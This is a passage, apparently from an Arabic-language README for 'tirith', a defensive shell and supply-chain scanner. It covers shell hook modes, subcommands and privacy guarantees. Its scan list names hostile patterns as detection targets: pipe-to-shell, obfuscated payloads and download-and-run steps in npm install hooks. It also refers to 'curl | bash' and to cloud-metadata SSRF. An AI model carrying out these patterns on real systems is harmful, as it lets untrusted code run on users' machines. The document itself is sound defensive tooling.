  • .github/copilot-instructions.md, .github/agents/*.md
  • مخططات Helm (Chart.yaml)، اعتماد مخطط من مستودع مخططات غير موثوق
  • package.json: نص دورة حياة preinstall / install / postinstall الذي يشغل أمرًا خطيرًا (أنبوب إلى شل، حمولة مبهمة، تنزيل وتشغيل)؛ هذه الخطافات تعمل تلقائيًا عند npm install
  • Shell
    نوع الخطاف
    تم اختباره على
    zshpreexec + paste widget5.8+
    bashpreexec (وضعان)5.0+
    fishfish_preexec event3.5+
    PowerShellPSReadLine handler7.0+
    Shellالسلوك
    bash وضع enterمنع موثوق. يربط Enter؛ يمكن إيقاف الأمر قبل أن يلتزم bash بتنفيذه. يُستخدم افتراضياً فقط حيث يثبت اختبار القدرة الذاتية (tirith doctor --simulate-enter) أن توصيل bind -x يعمل مع bash الجاري.
    bash preexec + TIRITH_BASH_PREEXEC_ENFORCE=1منع مشروط. يستخدم shopt -s extdebug؛ يمنع عندما يمكن لـ history في bash تقديم رؤية موثوقة للسطر بالكامل. يتراجع إلى التحذير فقط عندما يتم تصفية السجل (HISTCONTROL=ignorespace/ignoredups/ignoreboth، أي HISTIGNORE، أو set +o history) أو عندما يؤدي اسم مستعار/استبدال أمر/eval إلى انحراف السطر المكتوب عن BASH_COMMAND.
    bash preexec (بدون علامة التعزيز)تحذير فقط. يطبع لافتة DETECTED على الأوامر الخطرة؛ لا يمنع. هو التراجع عندما لم يثبت اختبار القدرة الذاتية لوضع enter أن التوصيل يعمل.
    zsh, fish, powershellمنع موثوق عبر خطافات preexec الأصلية.
    nushellتحذير فقط (لا يدعم حالياً اعتراض الأوامر).
    الأمرالوظيفة
    tirith check -- <cmd>تحليل أمر دون تنفيذه (يضيف --suggest إعادة كتابة أكثر أمانًا)
    tirith pasteفحص المحتوى الملصق (يُستدعى تلقائيًا بواسطة خطافات الصدفة)
    tirith scan [path]مسح الملفات والمجلدات والإعدادات (--profile، --format sarif، --ci)
    tirith run <url>بديل آمن لـ curl | bash: تنزيل، تحليل، مراجعة، ثم تنفيذ (Unix)
    tirith fix -- <cmd>إعادة كتابة أمر خطير بشكل تفاعلي إلى صيغة أكثر أمانًا
    tirith score <url> / diff <url>تحليل إشارات الثقة لعنوان URL، أو عرض أين تختبئ الأحرف المشبوهة
    tirith explain --rule <id> / whyوثائق القاعدة والإصلاح، أو شرح آخر مشغل
    tirith status / doctorهل أنت محمي؟ تشخيص التثبيت والخطافات والسياسة (--fix، --quick)
    tirith setup <tool> / initإعداد أداة ذكاء اصطناعي بأمر واحد، أو طباعة خطاف الصدفة
    tirith policy {init,validate,test}بناء الهيكل والتحقق والتشغيل التجريبي لسياساتك
    tirith trust {add,list,remove}إدارة الأنماط الموثوقة (نطاق ضيق، مدة صلاحية 30 يومًا افتراضيًا)
    tirith threat-db updateتنزيل والتحقق من قاعدة بيانات التهديدات الموقعة
    tirith package risk <eco> <name>تقييم مخاطر سلسلة التوريد للحزمة
    tirith ecosystem scan [path]تقييم كل تابع مُعلن في المشروع
    tirith mcp {lock,verify}تثبيت ومراقبة خوادم MCP للمستودع
    tirith daemon startخفي في الخلفية لفحوصات أسرع (Unix)
    TIRITH_OFFLINE=1
    tirith paste
  • لا إعادة كتابة للأوامر: لا يقوم tirith أبدًا بتعديل ما كتبته.
  • لا تتبع عن بعد: لا تحليلات، لا تقارير أعطال، لا سلوك اتصال بالمنزل.
  • لا عمليات خلفية طويلة العمر افتراضيًا: يتم استدعاء tirith لكل أمر ويخرج فورًا. تحديث قاعدة بيانات التهديدات أعلاه هو تحديث منفصل قصير العمر، وليس عملية مقيمة. الخيار tirith daemon start هو العملية المقيمة الوحيدة، وهو اختياري.
  • الشبكة فقط عندما تطلب أو تضبط أو لتحديث قاعدة بيانات التهديدات: تصل run و fetch و audit report --upload إلى الشبكة فقط عند الاستدعاء الصريح؛ يتبع تحديث قاعدة بيانات التهديدات الجدول أعلاه. يضيف وضع الخفي تحليل URL مدرك للشبكة، ويمكن لتكاملات webhook / خادم السياسة الاختيارية إجراء طلبات صادرة عند ضبطها. الكشف الأساسي لا يتصل بالمنزل أبدًا.
  • حماية الصادر عند الجلب. يرفض tirith run و fetch --save و command-card fetch المضيفين الخاصين والاسترجاعية وبيانات السحابة الوصفية افتراضيًا، ويقوم حارس SSRF بإعادة فحص كل قفزة إعادة توجيه. اضبط TIRITH_ALLOW_PRIVATE_FETCH=1 للسماح بها.